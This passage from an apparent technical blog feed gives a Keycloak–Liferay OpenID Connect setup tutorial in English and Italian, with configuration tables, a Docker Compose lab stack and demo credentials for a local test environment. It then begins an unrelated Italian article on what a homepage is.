Logout URL	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/logout
Client ID	liferay-portal-client
Secret	8562bd93-8ccd-4426-bf7a-681ac9e38a32
Alias	iam-keycloak-oidc

Table 2 - Identity Provider OpenID Connect configuration basic parameters

The two figures below show the configurations that have been applied to the new Identity Provider OpenID Connect with the values indicated by the previous one table.

Figure 11 - General section of the OpenID Connect Provider creation mask

Figure 12 - OpenID Connect specific configuration section

2.4 - Configuration of utilities

For users to be able to log in, they must be configured on Keycloak. To do this, you can, for example, configure an LDAP directory service or manually enter some user just for the purpose of test.

For this operation, please refer to the official Keycloak documentation where it is you can retrieve all the necessary information on User Management and User Storage Federation, useful features for user management and storage mechanisms.

3 - Liferay configuration

Once the configuration of the Keycloak instance has been completed OpenID Connect, Liferay must be configured to support authentication via OpenID Connect.

Liferay offers built-in support for SSO systems and OpenID Connect falls between these. You can add multiple OpenID Connection configurations Provider.

We therefore assume that the Liferay portal instance is operational and access the admin panel using admin credentials. Let's assume that the Liferay instance is available at https://portal.smc.lab.local

For any further information on configuring OpenID Connect on Liferay (both CE and DXP), please refer to the official documentation Authenticating with OpenID Connect.

3.1 - Configure OpenID Connect

The first configuration step concerns the enabling of OpenID Connect, the the second step concerns the configuration of OpenID Connect and in particular of the Provider.

To enable OpenID Connect, simply go to Control Panel => System Settings => SSO => OpenID Connect, check Enabled and save the configuration (see the two figures below).

Figure 13 - Access to the configuration of the SSO systems

Figure 14 - Enabling authentication via OpenID Connect

At this point, you need to move to the OpenID Connect Provider tab to insert all configuration parameters concerning the Identity service Provider (OpenID Connect) previously configured on Keycloak.

Parameter	Value
Provider Name	iam-keycloak-oidc
OpenID Connect Client ID	liferay-portal-client
OpenID connect client secret	8562bd93-8ccd-4426-bf7a-681ac9e38a32
Authorization Endpoint	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth
Issuer URL	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm
JWKS URI	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/certs
Subject Type	public
Token Endpoint	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token
User Information Endpoint	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/userinfo

Table 3 - Configuration parameters of the OpenID Connect Provider

The two figures below (15 A and 16 B) show the configuration mask of the OpenID Connect Provider which reports the configuration parameters as well as indicated in the previous table.

Figure 15 (A) - Configuring the OpenID Connect Provider

Figure 15 (B) - Configuring the OpenID Connect Provider

Figure 16 - OpenID Connect Provider iam-keycloak-oidc configuration saved

At this point the configuration of OpenID Connect on Liferay is finished. You can then proceed with an access test.

4 - Access to Liferay

The Liferay portal can now be accessed using the OpenID protocol Connect and test the correct configuration in this way.

From the moment that OpenID Connect is activated, the standard Login portlet of Liferay displays the login link via OpenID Connect, as shown by the figure to follow.

Figure 17 - OpenID Connect access via the OpenID Connect link displayed on the Liferay standard Login portlet

When the user clicks on the OpenID Connect link, this is redirected to the page from where the user can select the authentication provider (see figure below). You can have multiple authentication providers, that's it the reason why the choice is given. In our case we have a only provider which is called iam-keycloak-oidc, the name assigned at time configuration.

Figure 18 - Selecting the OpenID Connect Provider

Once you have selected the provider and clicked on the Sign In button, Liferay sends the user back to the Keycloak Login page (and in particular of the Realm created earlier).

Figure 19 - Login page on Keycloak for the specific Realm

On the login page, enter valid login credentials (for example of a user defined on LDAP or locally to Keycloak). If the credentials entered are correct, then the user will be redirected to the home page of the Liferay portal. If the user is not present on Liferay, this will be created using the information obtained from the Identity Provider (Keycloak).

The figures below show the Liferay portal with the user just logged in and the active sessions on Keycloak for the OpenID Connect client dedicated to Liferay.

Figure 20 - Liferay portal home page after authentication via OpenID Connect

Figure 21 - Active sessions for the Liferay Portal OpenID Connect client

5 - Single Logout (SLO) implementation

The built-in implementation of OpenID Connect on Liferay version 7.3 does not supports the functionality of SLO or Single Logout, this means that when a user is disconnected from Liferay (logout operation or session expired), this is not automatically disconnected from Keycloak, with the consequence that a new access will not require the user credentials to be entered on Keycloak (if the session is still active).

This situation is clearly reported on the Knowledge Base under the name of Liferay's OpenID Connect implementation and Single Logout (see excerpt in figure below). However, SLO can be implemented with a post action custom logout.

Figure 22 - Extract from the Liferay Knowledge Base with evidence of non-SLO support

6 - Il bonus

I imagine having a Docker Compose availability with all services configure that implements the scenario described, it is a nice bonus; are you of the same idea?

The keycloak-openid-connect-liferay project published on the GitHub repository of SMC, contains the Docker Compose and all configurations that we have seen in the course of this article.

The services that make up the stack are listed below.

Keycloak
OpenLDAP (implementation of the LDAP service for the user store)
PHP LDAP Admin (LDAP administration interface)
PostgreSQL (database for Keycloak and Liferay)
Liferay
fakeSMTP (service for sending email)
Traefik (Load Balancer)

The essential services are: Traefik, Keycloak, OpenLDAP, PostgreSQL and Liferay. The figure below shows the diagram summarizing the complete stack.

Figure 23 - Diagram of the stack of services configured via Docker Compose

The Keycloak and Liferay portal services are configured to be accessible through Traefik on the https port and on the respective FQDNs indicated below:

The steps needed to run the entire stack are:

Check the Docker version (Docker Engine 20.10.x, Docker Compose 2.0.x)
Clone the keycloak-openid-connect-liferay repository
Update the hosts file (of the host machine) with the entries for Keycloak and Liferay
Starting the stack via Docker Compose

Regarding the Docker version, we made use of Docker for this article Desktop for macOS version 4.1.0 (which includes Docker Engine 20.10.8 and Docker Compose 2.0.0).

I still ran a test using Docker on Linux. Same version of Docker used on macOS but with a lower Docker Compose version, that is, 1.28.6. I didn't encounter any problems, the services stack was fine pulled up.

I was unable to test on Windows; I leave it to some of you to run this proof.

# Step 1 - Check Docker version
$ docker version
$ docker-compose version

# Step 2 - Clone the project git repository
$ git clone https://github.com/smclab/keycloak-openid-connect-liferay.git

# Step 3 - Update the /etc/hosts with this content
127.0.0.1   iam.smc.lab.local
127.0.0.1   portal.smc.lab.local

# Step 4 - Start the Docker Compose stack services
$ docker-compose --env-file env/development.env up

Console 1 - Starting the service stack via Docker Compose

The time it takes for the services to be all operational varies and depends largely from the availability of the resources of the machine it is on Docker execution and how many of these have been assigned to Docker itself.

In this specific case I have assigned the following resources to Docker: CPUx2, 8GByte of RAM memory, 1GByte of Swap and 10GByte of storage. These are the resources minimum to have a "usable" environment. I ran a test with 6GBytes of RAM memory, the stack "holds up" even if it works with difficulty.

To give you an idea of the star-up times (excluding image pull times), on my MacBook Pro 2.5 GHz Intel Core i7 dual-core, 16 GB 2133 MHz LPDDR3, the star-up time is about six minutes, for the first start, time that goes down about 3.5 minutes from the second start.

The start-up times on my Linux Workstation they are decidedly inferior. The first start 1.15 minutes, from the second start onwards 1.02 minutes.

Once the services are all up, the environment is ready to be configured as we have seen in the course of this article. A quick way to checking that the services of our interest are on, is to connect to the Traefik console at http://localhost:9080/dashboard. The figures a follow shows the status of Keycloak and Liferay services.

Figure 24 - Status of services from the Traefik dashboard

Figura 25 - Details of the liferay@docker service

The access credentials for the various services are indicated below:

Keycloak (login credentials to the administration console): admin/Pa55w0rd
Liferay (login credentials as administrator): test/test
LDAP (login credentials as administrator): cn=admin,dc=smc,dc=local/admin
LDAP (read-only login credentials): cn=readonly,dc=smc,dc=local/readonly

The LDAP Data Interchange Format file config/ldap/bootstrap.ldif (available on the repository) contains the entire directory structure of the LDAP service. The password for all users is: test.

Liferay Configuration Tips: You should notice that the Liferay portal results already configured for the OpenID Connect part, the only thing to review is the client secret (generated on Keycloak) that you should update.

Keycloak Configuration Tips: Keycloak does not appear to be configured, you should arrange to do so as described in the article, or, you could load the configuration from the json file [realm-export-smc-lab-local-realm.json](https://github.com/smclab/keycloak-openid-connect-liferay/blob/master/config/keycloak/export /realm-export-smc-lab-local-realm.json) available within the repository (config/keycloak/export directory). In case of the second option, remember that you should then regenerate the client secret and re-enter the login password for the LDAP service.

7 - Conclusions

Welcome to the end! For beings who have come to the end of reading this article, I'm pretty sure you've just found yourself in the situation described or that you are about to have to undertake this activity.

I have found myself several times in this situation, and the path I wanted to indicate with this article it is the one that I consider most advantageous, especially in terms of effort.

How did you approach this issue? Let's discuss it together.

Come connettere Keycloak e Liferay via OpenID Connect

Fri, 15 Oct 2021 00:00:00 GMT

In questi ultimi anni si sta affermando sempre di più il protocollo di autenticazione OpenID Connect (OIDC), basato su OAuth2, per offrire l'accesso in modo sicuro a applicazioni e API (Application Programming Interface).

In questo articolo vedremo come intraprendere una corretta configurazione di Keycloak e Liferay al fine di abilitare il processo di autenticazione degli utenti sfruttando il protocollo OpenID Connect. Desidero sottolineare il fatto che l'articolo non è una guida all'installazione di Liferay e Keycloak.

Per la comprensione di quanto descritto nel corso dell'articolo è richiesta una buona conoscenza degli aspetti amministrativi sia di Liferay sia di Keycloak, oltre a una conoscenza di base dei sistemi di SSO (Single Sign-On).

Come di consueto lascerò il bonus di fine articolo, ovvero, il riferimento GitHub del progetto che consentirà a voi di ricreare lo scenario che andremo a descrivere.

1 - Requisiti

Le versioni di riferimento di Liferay e Keycloak che prenderemo in considerazione sono rispettivamente la 7.3 GA6 e 15.0.2 (rilasciata il 20 agosto 2021).

Affinché sia possibile portare a termine con successo la configurazione dell'integrazione tra Keycloak e Liferay, occorre che siano disponibili un'istanza di Liferay e un'istanza di Keycloak.

Per le attività di configurazione di Liferay e Keycloak è necessario disporre delle credenziali di accesso e che queste abbiano un ruolo di amministratore per entrambe i sistemi.

Il diagramma della figura a seguire mostra ad alto livello lo scenario d'integrazione che andremo a realizzare e quali sono i protocolli utilizzati. Il componente LDAP è stato inserito ma è del tutto opzionale, lo troverete però all'interno del bonus.

Figura 1 - Liferay come SSO client (o meglio Service Provider) via OpenID Connect

Gli FQDN (Fully Qualified Domain Name) riportati sui componenti dello scenario d'integrazione sono a titolo esemplificativo.

È importante ricordare che affinché la configurazione vada a buon fine è indispensabile che i sistemi coinvolti possano comunicare tra loro attraverso i protocolli richiesti (https e ldaps), inoltre, in ambienti SSL/TLS devono essere correttamente impostati i TrustStore. Tale precisazione serve a evitare di incorrere in fastidiosi errori (es. validazione della catena di certificazione X509).

2 - Configurazione di Keycloak

La prima attività da compiere è quella di configurazione dell’istanza di Keycloak. Quest’operazione richiede diversi step che sono indicati a seguire.

Creazione di un Realm specifico
Creazione di un client OpenID Connect
Creazione di un Identity Provider (o IdP) OpenID Connect
Creazione utente demo (opzionale nel caso abbiate configurato un servizio LDAP)

Assumiamo quindi che l’istanza Keycloak sia operativa e accediamo al pannello di amministrazione utilizzando le credenziali di amministrazione. Per questo scenario ipotizziamo che l’istanza di Keycloak sia disponibile all’indirizzo https://iam.smc.lab.local/ (vedi figura a seguire).

Figura 2 - Console di amministrazione di Keycloak

Per ogni dubbio e/o approfondimento riguardo l'installazione e configurazione di Keycloak, fare riferimento alla documentazione ufficiale disponibile all’indirizzo https://www.keycloak.org/archive/documentation-15.0.html

2.1 - Creazione del Realm

Un Realm in Keycloak è l'equivalente di un tenant (gruppo di utenti che condividono un accesso comune a un sistema software multi-tenant). Consente di creare gruppi isolati di applicazioni e utenti. Per impostazione predefinita c'è un singolo realm in Keycloak chiamato master, questo è dedicato alla gestione di Keycloak e non dovrebbe essere utilizzato per il resto delle applicazioni.

Il primo step richiede la creazione di un nuovo Realm che potremmo per esempio chiamare smc-lab-local-relam.

Figura 3 - Creazione del nuovo Realm su Keycloak

Figura 4 - Maschera di dettaglio del realm appena creato

La figura precedente evidenzia l’endpoint della configurazione di OpenID Connect. Questo endpoint contiene tutti i metadati di configurazione che riguardano il protocollo, come per esempio: Token URL, Authorization URL, Issuer, etc. Queste informazioni saranno utili per le attività di configurazione successive, sia su Keycloak sia su Liferay.

La URL di configurazione è in questo caso: https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/.well-known/openid-configuration.

Nota: Questa è la URL che utilizzerà Liferay per ottenere i metadati di configurazione, per questo motivo è importante che questo indirizzo sia raggiungibile e che la configurazione dei certificati SSL/TLS sia corretta.

Puntando il proprio browser verso l'indirizzo dei metadati di configurazione, si otterrà un documento JSON come quello mostrato a seguire.

{
	"issuer": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm",
	"authorization_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth",
	"token_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token",
	"introspection_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token/introspect",
	"userinfo_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/userinfo",
	"end_session_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/logout",
	"jwks_uri": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/certs",
	"check_session_iframe": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/login-status-iframe.html",
	"grant_types_supported": ["authorization_code", "implicit", "refresh_token", "password", "client_credentials", "urn:ietf:params:oauth:grant-type:device_code", "urn:openid:params:grant-type:ciba"],
	"response_types_supported": ["code", "none", "id_token", "token", "id_token token", "code id_token", "code token", "code id_token token"],
	"subject_types_supported": ["public", "pairwise"],
	"id_token_signing_alg_values_supported": ["PS384", "ES384", "RS384", "HS256", "HS512", "ES256", "RS256", "HS384", "ES512", "PS256", "PS512", "RS512"],
	"id_token_encryption_alg_values_supported": ["RSA-OAEP", "RSA-OAEP-256", "RSA1_5"],
	"id_token_encryption_enc_values_supported": ["A256GCM", "A192GCM", "A128GCM", "A128CBC-HS256", "A192CBC-HS384", "A256CBC-HS512"],
	"userinfo_signing_alg_values_supported": ["PS384", "ES384", "RS384", "HS256", "HS512", "ES256", "RS256", "HS384", "ES512", "PS256", "PS512", "RS512", "none"],
	"request_object_signing_alg_values_supported": ["PS384", "ES384", "RS384", "HS256", "HS512", "ES256", "RS256", "HS384", "ES512", "PS256", "PS512", "RS512", "none"],
	"response_modes_supported": ["query", "fragment", "form_post"],
	"registration_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/clients-registrations/openid-connect",
	"token_endpoint_auth_methods_supported": ["private_key_jwt", "client_secret_basic", "client_secret_post", "tls_client_auth", "client_secret_jwt"],
	"token_endpoint_auth_signing_alg_values_supported": ["PS384", "ES384", "RS384", "HS256", "HS512", "ES256", "RS256", "HS384", "ES512", "PS256", "PS512", "RS512"],
	"introspection_endpoint_auth_methods_supported": ["private_key_jwt", "client_secret_basic", "client_secret_post", "tls_client_auth", "client_secret_jwt"],
	"introspection_endpoint_auth_signing_alg_values_supported": ["PS384", "ES384", "RS384", "HS256", "HS512", "ES256", "RS256", "HS384", "ES512", "PS256", "PS512", "RS512"],
	"claims_supported": ["aud", "sub", "iss", "auth_time", "name", "given_name", "family_name", "preferred_username", "email", "acr"],
	"claim_types_supported": ["normal"],
	"claims_parameter_supported": true,
	"scopes_supported": ["openid", "offline_access", "web-origins", "phone", "roles", "email", "address", "profile", "microprofile-jwt"],
	"request_parameter_supported": true,
	"request_uri_parameter_supported": true,
	"require_request_uri_registration": true,
	"code_challenge_methods_supported": ["plain", "S256"],
	"tls_client_certificate_bound_access_tokens": true,
	"revocation_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/revoke",
	"revocation_endpoint_auth_methods_supported": ["private_key_jwt", "client_secret_basic", "client_secret_post", "tls_client_auth", "client_secret_jwt"],
	"revocation_endpoint_auth_signing_alg_values_supported": ["PS384", "ES384", "RS384", "HS256", "HS512", "ES256", "RS256", "HS384", "ES512", "PS256", "PS512", "RS512"],
	"backchannel_logout_supported": true,
	"backchannel_logout_session_supported": true,
	"device_authorization_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth/device",
	"backchannel_token_delivery_modes_supported": ["poll"],
	"backchannel_authentication_endpoint": "https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/ext/ciba/auth"
}

Source Code 1 - OpenID Endpoint Configuration JSON Document

Ricorda che: i metadati di configurazione sono importanti per la successiva configurazione del componente OpenID Connect di Liferay. Tieni quindi da parte questi dati.

2.2 - Creazione del client OpenID Connect

Il secondo step richiede la creazione di un nuovo client OpenID Connect. I dati essenziali per poter creare il client sono indicati a seguire.

Client ID: identificativo univoco del client.
Name: descrizione del client.
Access Type: tipo di accesso che in questo caso deve essere impostato a confidentials.
Valid Redirect URIs: lista delle URI di redirect che devono essere considerate valide da Keycloak.

Per avviare la creazione del nuovo client, dalla sezione Configure del Realm, selezionare la voce Clients e successivamente cliccare sul pulsante Create. Le figure a seguire mostrano le maschere di creazione del nuovo client.

Figura 5 - Accesso alla creazione di un nuovo client dalla sezione Clients

Figura 6 - Creazione del nuovo client con Client ID liferay-portal-client

I parametri e valori indicati nella tabella a seguire sono quelli che devono essere impostati sulla maschera di modifica della configurazione del client (vedi la figura a seguire). Una buona regola è quella di assegnare un valore “parlante” o auto esplicativo al parametro Client ID.

Parametro	Valore
Client ID	liferay-portal-client
Name	Client OpenID Connect per Liferay Portal
Access Type	confidentials
Valid Redirect URIs	https://portal.smc.lab.local/*

Tabella 1 - Parametri base di configurazione Client OpenID Connect

Figura 7 - Completamento della configurazione Client OpenID Connect per il portale Liferay

Dopo aver salvato la configurazione del client occorre spostarsi sul tab Credentials cliccando successivamente sul pulsante Regenerate Secret, prendendo nota del Secret appena generato, questo valore sarà utile nella successiva configurazione dell’Identity Provider.

Figura 8 - Sezione Credentials della configurazione del client OpenID con in evidenza il Secret

Adesso tra la lista dei client registrati su Keycloak è disponibile quello appena creato per l’integrazione con il portale Liferay (vedi figura a seguire).

Figura 9 - Il nuovo client liferay-portal-client disponibile sulla lista dei client del realm

2.3 - Configurazione Identity Provider

Il terzo step richiede la configurazione dell’Identity Provider OpenID Connect. I dati essenziali per poter creare il client sono indicati a seguire.

Alias univoco da assegnare all’Identity Provider
Authorization URL
Token URL
Logout URL
Client Authentication
Client ID
Secret

I valori che riguardano Authorization, Token e Logout URL, possono essere estratti dall’OpenID Connect Endpoint (metadati di configurazione) mostrato in precedenza.

I valori che riguardano Client ID e Secret sono quelli impostati in precedenza durante la creazione del client.

Per avviare la creazione dell’Identity Provider, dalla sezione Configure del Realm selezionare la voce Identity Providers e successivamente selezionare dalla lista l'elemento Keycloak OpenID Connect. Le figure a seguire mostrano le maschere di creazione del nuovo client.

Figura 10 - Creazione del nuovo Identity Provider

La tabella a seguire mostra i parametri e rispettivi valori che devono essere impostati sulla maschera di creazione del nuovo Identity Provider.

Parametro	Valore
Authorization URL	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth
Token URL	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token
Logout URL	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/logout
Client ID	liferay-portal-client
Secret	8562bd93-8ccd-4426-bf7a-681ac9e38a32
Alias	iam-keycloak-oidc

Tabella 2 – Parametri base di configurazione Identity Provider OpenID Connect

Le due figure a seguire mostrano le configurazioni che sono state applicate al nuovo Identity Provider OpenID Connect con i valori indicati dalla precedente tabella.

Figura 11 - Sezione generale della maschera di creazione del Provider OpenID Connect

Figura 12 - Sezione di configurazione specifica di OpenID Connect

2.4 - Configurazione delle utenze

Affinché sia possibile fare accedere degli utenti, è necessario che questi siano configurati su Keycloak. Per fare quest’operazione è possibile per esempio configurare un servizio di directory LDAP o inserire manualmente qualche utente a puro scopo di test.

Per quest’operazione si rimanda alla documentazione ufficiale di Keycloak dove è possibile recuperare tutte le informazioni necessarie su User Management e User Storage Federation, funzionalità utili per la gestione degli utenti e meccanismi di storage.

3 - Configurazione di Liferay

Una volta conclusa la configurazione dell’istanza Keycloak per quel che riguarda OpenID Connect, occorre configurare Liferay in modo che sia in grado di supportare l’autenticazione tramite OpenID Connect.

Liferay offre built-in il supporto per i sistemi SSO e OpenID Connect rientra tra questi. È possibile aggiungere più configurazioni di OpenID Connection Provider.

Assumiamo quindi che l’istanza del portale Liferay sia operativa e accediamo al pannello di amministrazione utilizzando le credenziali di amministrazione. Ipotizziamo che l’istanza di Liferay sia disponibile all’indirizzo https://portal.smc.lab.local

Per eventuali approfondimenti circa la configurazione di OpenID Connect su Liferay (sia CE sia DXP), fare riferimento alla documentazione ufficiale Authenticating with OpenID Connect.

3.1 - Configurazione di OpenID Connect

Il primo step di configurazione riguarda l’abilitazione di OpenID Connect, il secondo step riguarda invece la configurazione di OpenID Connect e in particolare del Provider.

Per abilitare OpenID Connect, è sufficiente andare su Control Panel => System Settings => SSO => OpenID Connect, mettere la spunta su Enabled e salvare la configurazione (vedi le due figure a seguire).

Figura 13 - Accesso alla configurazione dei sistemi SSO

Figura 14 - Abilitazione dell'autenticazione via OpenID Connect

A questo punto occorre spostarsi sul tab OpenID Connect Provider per inserire tutti i parametri di configurazione che riguardano il servizio dell’Identity Provider (OpenID Connect) configurato in precedenza su Keycloak.

Parametro	Valore
Provider Name	iam-keycloak-oidc
OpenID Connect Client ID	liferay-portal-client
OpenID connect client secret	8562bd93-8ccd-4426-bf7a-681ac9e38a32
Authorization Endpoint	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/auth
Issuer URL	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm
JWKS URI	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/certs
Subject Type	public
Token Endpoint	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/token
User Information Endpoint	https://iam.smc.lab.local/auth/realms/smc-lab-local-realm/protocol/openid-connect/userinfo

Tabella 3 – Parametri di configurazione del Provider OpenID Connect

Le due figure a seguire (15 A e 16 B) mostrano la maschera di configurazione dell’OpenID Connect Provider che riporta i parametri di configurazione così come indicati nella tabella precedente.

Figura 15 (A) - Configurazione dell'OpenID Connect Provider

Figura 15 (B) - Configurazione dell'OpenID Connect Provider

Figura 16 - Configurazione OpenID Connect Provider iam-keycloak-oidc salvata

A questo punto la configurazione di OpenID Connect su Liferay è conclusa. È possibile quindi procedere con un test di accesso.

4 - Accesso a Liferay

Adesso è possibile accedere al portale Liferay utilizzando il protocollo OpenID Connect e testare in questo modo la corretta configurazione.

Dal momento che si attiva l’OpenID Connect, la portlet di Login standard di Liferay mostra il link di accesso via OpenID Connect, così come mostrato dalla figura a seguire.

Figura 17 - Accesso OpenID Connect tramite il link OpenID Connect esposto sulla portlet di Login standard di Liferay

Nel momento in cui l’utente clicca sul link OpenID Connect, questo è rediretto alla pagina da dove l’utente può selezionare il Provider di autenticazione (vedi figura a seguire). È possibile avere più provider di autenticazione, ecco il motivo per cui è data la possibilità della scelta. Nel nostro caso abbiamo un solo provider che si chiama iam-keycloak-oidc, il nome assegnato in fase di configurazione.

Figura 18 - Selezione dell'OpenID Connect Provider

Una volta selezionato il provider e cliccato sul pulsante Sign In, Liferay provvede a rimandare l’utente alla pagina di Login di Keycloak (e in particolare del Realm creato in precedenza).

Figura 19 - Pagina login su Keycloak per lo specifico Realm

Sulla pagina di login inserire delle credenziali di accesso valide (per esempio di un utente definito su LDAP o localmente a Keycloak). Se le credenziali inserite sono corrette, allora l’utente sarà rediretto sulla home page del portale Liferay. Qualora l’utente non fosse presente su Liferay, questo sarà creato utilizzando le informazioni ottenute dall'Identity Provider (Keycloak).

Le figure a seguire mostrano il portale Liferay con l’utente appena loggato e le sessioni attive su Keycloak per il client OpenID Connect dedicato a Liferay.

Figura 20 - Home Page del portale Liferay dopo l'autenticazione via OpenID Connect

Figura 21 - Sessioni attive per il client OpenID Connect di Liferay Portal

5 - Implementazione del Single Logout (SLO)

L’implementazione built-in di OpenID Connect sulla versione 7.3 di Liferay non supporta la funzionalità di SLO o Single Logout, questo significa che quando un utente viene disconnesso da Liferay (operazione di logout o sessione scaduta), questo non viene automaticamente disconnesso da Keycloak, con la conseguenza che un nuovo accesso non richiederà l’inserimento delle credenziali utenti su Keycloak (se attiva ancora la sessione).

Questa situazione è riportata chiaramente sulla Knowledge Base sotto il nome di Liferay's OpenID Connect implementation and Single Logout (vedi estratto nella figura a seguire). Tuttavia, lo SLO può essere implementato con un'azione di post logout personalizzata.

Figura 22 - Estratto dalla Knowledge Base di Liferay con evidenza del non supporto dello SLO

6 - Il bonus

Immagino che avere la disponibilità un Docker Compose con tutti i servizi configurati che implementi lo scenario descritto, sia un bel bonus; siete della stessa idea?

Il progetto keycloak-openid-connect-liferay pubblicato sul repository GitHub di SMC, contiene il Docker Compose e tutte le configurazioni che abbiamo visto nel corso di questo articolo.

A seguire sono riportati i servizi che compongono lo stack.

Keycloak
OpenLDAP (implementazione del servizio LDAP per lo store degli utenti)
PHP LDAP Admin (interfaccia di amministrazione di LDAP)
PostgreSQL (database per Keycloak e Liferay)
Liferay
fakeSMTP (servizio per l'invio email)
Traefik (Load Balancer)

I servizi essenziali sono: Traefik, Keycloak, OpenLDAP, PostgreSQL e Liferay. La figura a seguire mostra il diagramma che riassume lo stack completo.

Figura 23 - Diagramma dello stack dei servizi configurati via Docker Compose

I servizi di Keycloak e del portale Liferay sono configurati per essere accessibili attraverso Traefik su porta https e sui rispettivi FQDN indicati a seguire:

Gli step necessari per eseguire l'intero stack sono:

Verifica della versione di Docker (Docker Engine 20.10.x, Docker Compose 2.0.x)
Clone del repository keycloak-openid-connect-liferay
Aggiornamento del file di hosts (della macchina host) con le entry per Keycloak e Liferay
Avvio dello stack via Docker Compose

Riguardo la versione di Docker, per questo articolo è stato fatto uso di Docker Desktop per macOS versione 4.1.0 (che include Docker Engine 20.10.8 e Docker Compose 2.0.0).

Non ho potuto fare test su Windows; lascio a qualcuno di voi la conduzione di questa prova.

# Step 1 - Check Docker version
$ docker version
$ docker-compose version

# Step 2 - Clone the project git repository
$ git clone https://github.com/smclab/keycloak-openid-connect-liferay.git

# Step 3 - Update the /etc/hosts with this content
127.0.0.1   iam.smc.lab.local
127.0.0.1   portal.smc.lab.local

# Step 4 - Start the Docker Compose stack services
$ docker-compose --env-file env/development.env up

Console 1 - Avvio dello stack dei servizi via Docker Compose

Il tempo necessario affinché i servizi siano tutti operativi è variabile e dipende in gran parte dalla disponibilità delle risorse della macchina sui cui è in esecuzione Docker e quante di queste siano state assegnate a Docker stesso.

In questo specifico caso ho assegnato a Docker le seguenti risorse: CPUx2, 8GByte di memoria RAM, 1GByte di Swap e 10GByte di storage. Queste sono le risorse minime per avere un ambiente "usabile". Ho eseguito un test con 6GByte di memoria RAM, lo stack "regge" anche se funziona con fatica.

Per darvi un'idea dei tempi di star-up (escludendo i tempi di pull delle immagini), sul mio MacBook Pro 2,5 GHz Intel Core i7 dual-core, 16 GB 2133 MHz LPDDR3, il tempo di star-up è di circa sei minuti, per il primo start, tempo che scende a circa 3,5 minuti dal secondo start.

I tempi di start-up sulla mia Workstation Linux sono decisamente inferiori. Il primo start 1,15 minuti, dal secondo start in poi 1,02 minuti.

Una volta che i servizi sono tutti su, l'ambiente è pronto per essere configurato così come abbiamo visto nel corso di questo articolo. Un modo veloce per controllare che i servizi di nostro interesse siano su, è quello di connettersi alla console di Traefik all'indirizzo http://localhost:9080/dashboard. La figura a seguire mostra lo stato dei servizi di Keycloak e Liferay.

Figura 24 - Stato dei servizi dalla dashboard di Traefik

Figura 25 - Dettaglio dello stato del servizio liferay@docker

Le credenziali di accesso per i vari servizi sono indicate a seguire:

Keycloak (credenziali di accesso alla console di amministrazione): admin/Pa55w0rd
Liferay (credenziali di accesso come amministratore): test/test
LDAP (credenziali di accesso come amministratore): cn=admin,dc=smc,dc=local/admin
LDAP (credenziali di accesso in sola lettura): cn=readonly,dc=smc,dc=local/readonly

Il file LDAP Data Interchange Format config/ldap/bootstrap.ldif (disponibile sul repository) contiene tutta la struttura di directory del servizio LDAP. La password per tutti gli utenti è: test.

Tips configurazione Liferay: dovreste notare che il portale Liferay risulta già configurato per la parte di OpenID Connect, l'unica cosa da revisionare è il client secret (generato su Keycloak) che dovreste aggiornare.

Tips configurazione Keycloak: Keycloak non risulta essere configurato, dovreste provvedere voi a farlo secondo quanto descritto nel corso dell'articolo, oppure, potreste caricare la configurazione dal file json realm-export-smc-lab-local-realm.json disponibile all'interno del repository (directory config/keycloak/export). Nel caso della seconda opzione, ricordo che dovreste poi rigenerare il client secret e rimettere la password di accesso per il servizio LDAP.

7 - Conclusioni

Ben arrivati alla fine! Per esseri giunti fino in fondo alla lettura di questo articolo, sono abbastanza sicuro che vi siate trovati nella situazione appena descritta o che siate in procinto di dover affrontare quest'attività.

Mi son trovato più volte in questa situazione, e la strada che ho voluto indicare con questo articolo è quella che ritengo più vantaggiosa, soprattutto in termini di sforzo.

Voi come avete affrontato questo tema? Discutiamone insieme.

Cos'è una Homepage nel 2021?

Thu, 18 Mar 2021 00:00:00 GMT

Che cos’è davvero una homepage? Le homepage sono le stesse di anni fa? Come sono cambiate? Perché è importante una homepage e sapere come gli utenti ci arrivano?

In questo articolo andremo a rispondere a queste domande cercando di analizzare come sono composte le homepage di oggi e come possono essere utilizzate al meglio dando alcuni consigli per poter migliorare la vostra. Prima è necessario partire dal concetto stesso di Homepage.

🏠 La definizione

La Homepage è la pagina di atterraggio di default quando non è specificato alcun path.

Delle volte viene confusa con la prima pagina che compare quando viene avviata una applicazione, per questo motivo potrebbe venire anche identificata con il temine di start page. Nel web questo non accade sempre, ci sono molti fattori che potrebbero indirizzare l'utente verso un'altra pagina del sito.

Negli anni '90, ma prosegue anche nei primi anni 2000, la Homepage veniva utilizzata come Indice del sito. Il suo scopo era quello di rendere tutte le pagine raggiungibili da un'unica pagina e fornire una "lista di titoli" dei contenuti che compongono il sito.

Non è un caso che in quasi tutti i web server la homepage corrisponde al file index.html.

